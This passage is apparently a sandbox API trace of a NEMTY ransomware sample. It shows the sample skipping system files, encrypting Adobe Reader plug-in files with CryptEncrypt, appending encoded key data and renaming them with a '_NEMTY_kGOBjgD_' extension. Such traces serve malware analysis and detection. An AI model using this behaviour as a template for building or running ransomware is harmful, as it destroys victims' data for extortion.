(lpString1="QuickTime.SLV", lpString2="$RECYCLE.BIN") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="rsa") returned -1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="NTDETECT.COM") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="ntldr") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="MSDOS.SYS") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="IO.SYS") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="boot.ini") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="boot.ini") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="ntuser.dat") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="desktop.ini") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="CONFIG.SYS") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="RECYCLER") returned -1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="BOOTSECT.BAK") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="bootmgr") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="programdata") returned 1 [0192.429] lstrcmpiW (lpString1="QuickTime.SLV", lpString2="appdata") returned 1 [0192.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SLV", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SLV", lpUsedDefaultChar=0x0) returned 13 [0192.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SLV", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SLV", lpUsedDefaultChar=0x0) returned 13 [0192.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SLV", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SLV", lpUsedDefaultChar=0x0) returned 13 [0192.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SLV", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SLV", lpUsedDefaultChar=0x0) returned 13 [0192.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0192.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0192.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0192.430] Sleep (dwMilliseconds=0x5) [0192.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x265986b0, dwHighDateTime=0x1d561e8)) [0192.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x265986b0, dwHighDateTime=0x1d561e8)) [0192.440] GetLastError () returned 0x0 [0192.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.440] GetLastError () returned 0x0 [0192.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.440] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.440] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.440] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0192.440] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="4RNmQL1hDP31Q2B09uo0xyXDPHtWa2AbDxq8ICm3xs7C5jhTeIpI9sGQeh6vnlHU\r\nuuphmYUXUPXzMYqXQKDxuAVcXBJXMlz8ZLo8J3yGmwWLrqupZqGt6iDE3/dJeJSQ\r\np3hZF7JXi0gjHo03fnOdxvncDvH5rA758kuVA6LcAIMJxW0IogMcTybMlDJ2KuyG\r\nUVgCxM+/NnnTo1xuzH2ziP6bicet+svGuh9PtDiQELXyvRtfGoezxrKafYVGmthC\r\nIELiqHCKSt5Lhp9suptKlicr9xWROBnl1/m+Ot949/aGit9J7O6RLY0CeAOvx1E3\r\n+3TqtDv19jqcYyYVxDkEHw==\r\n", pcchString=0x653e29c) returned 1 [0192.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0192.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.440] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\QuickTime.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\quicktime.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.441] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.441] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.441] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.442] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.442] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.443] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.443] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.443] CloseHandle (hObject=0x2f0) returned 1 [0192.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0192.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0192.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0192.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0192.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.443] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\QuickTime.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\quicktime.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\QuickTime.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\quicktime.slv._nemty_kgobjgd_")) returned 1 [0192.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0192.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0192.444] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.SLV", cAlternateFileName="WINDOW~1.SLV")) returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2=".") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="..") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="...") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="windows") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="$RECYCLE.BIN") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="rsa") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="NTDETECT.COM") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="ntldr") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="MSDOS.SYS") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="IO.SYS") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="boot.ini") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="boot.ini") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="ntuser.dat") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="desktop.ini") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="CONFIG.SYS") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="RECYCLER") returned 1 [0192.444] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="BOOTSECT.BAK") returned 1 [0192.445] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="bootmgr") returned 1 [0192.445] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="programdata") returned 1 [0192.445] lstrcmpiW (lpString1="WindowsMedia.SLV", lpString2="appdata") returned 1 [0192.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SLV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SLV", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SLV", lpUsedDefaultChar=0x0) returned 16 [0192.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0192.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SLV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SLV", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SLV", lpUsedDefaultChar=0x0) returned 16 [0192.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0192.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SLV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SLV", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SLV", lpUsedDefaultChar=0x0) returned 16 [0192.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SLV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SLV", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SLV", lpUsedDefaultChar=0x0) returned 16 [0192.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0192.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0192.445] Sleep (dwMilliseconds=0x5) [0192.455] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x265be810, dwHighDateTime=0x1d561e8)) [0192.455] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x265be810, dwHighDateTime=0x1d561e8)) [0192.455] GetLastError () returned 0x0 [0192.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.455] GetLastError () returned 0x0 [0192.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0192.455] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.455] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.456] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0192.456] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="yCUopnoPP1TVcAYOx57YG98Z8Qusy2BPUAmcQeeUY/7HFP7OAkxDzgSF1ZB3P3X0\r\nSFC/rbfhZZPOKkmMQqcbtsHT0rd87OUURTeJAk0Pd6ptFWfYYq12sB+O/hs5MVKj\r\n5jj69GKG9TBtPsKFoolX5LOM8NmRsOoJKTtlodOy81/Oj3jDOTvugdVLC8b24Q1r\r\nLln3KTjmFXMFMeqdSFfQafgJCu6tuDose+a1oTLnTXvYLK/Jo/uvBKUuG3I/eufz\r\noKGXG8QP25yu0xA4dHF8ovaqjDox7excSVNB34WM3Ep9qmXFcc3GOZR92SENDQ6q\r\n35X/AYb6xaG52dsPuZMgpg==\r\n", pcchString=0x653e29c) returned 1 [0192.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0192.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0192.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.456] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\WindowsMedia.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\windowsmedia.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.456] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.456] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.456] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.458] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.458] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.458] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.458] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.458] CloseHandle (hObject=0x2f0) returned 1 [0192.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0192.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0192.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0192.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0192.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0192.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0192.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0192.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0192.458] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\WindowsMedia.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\windowsmedia.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 